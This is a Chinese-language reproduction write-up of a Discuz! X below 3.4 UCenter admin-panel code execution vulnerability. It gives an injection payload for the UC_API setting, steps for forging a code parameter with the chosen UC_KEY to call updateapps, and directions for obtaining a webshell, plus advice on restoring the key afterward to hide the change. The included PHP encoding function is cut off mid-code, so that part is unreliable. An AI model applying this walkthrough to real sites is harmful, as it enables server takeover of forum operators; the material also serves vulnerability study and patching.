Discuz!_X___3.4_uc_center_后台代码执行漏洞

# Discuz! X < 3.4 uc_center 后台代码执行漏洞 ==== 一、漏洞简介 ------------ 二、漏洞影响 ------------ Discuz! X \< 3.4 三、复现过程 ------------ - 进入后台站长-Ucenter设置,设置UC\_KEY=随意(一定要记住,后面要用), ```{=html}
“`
UC_API= http://www.0-sec.org/discuz34/uc_server’);phpinfo();//

1.png

2.png

成功写进配置文件,这里单引号被转移了,我们接下来使用UC\_KEY(dz)去调用api/uc.php中的updateapps函数更新UC\_API。

利用UC\_KEY(dz) 生成code参数,使用过UC\_KEY(dz)
GetWebShell的同学肯定不陌生,这里使用的UC\_KEY(dz)就是上面我们设置的。

0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return ”;
}
} else {
return $keyc.str_replace(‘=’, ”, base64_encode($result));
}
}
?>

– 将生成的数据带入GET请求中的code 参数,发送数据包 3.png

访问 http://www.0-sec.org/discuz34/config/config\_ucenter.php
代码执行成功4.png

5.png

到此成功GetWebShell,在这个过程中,有一点需要注意的是,我们修改了程序原有的UC\_KEY(dz),成功GetWebShell以后一定要修复,有2中方法:

– 从数据库中读取authkey(uc\_server),通过UC\_MYKEY解密获得UC\_KEY(dz),当然有可能authkey(uc\_server)就是UC\_KEY(dz)。

– 直接进入Ucenter后台修改UC\_KEY,修改成我们GetWebShell过程中所设置的值。

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容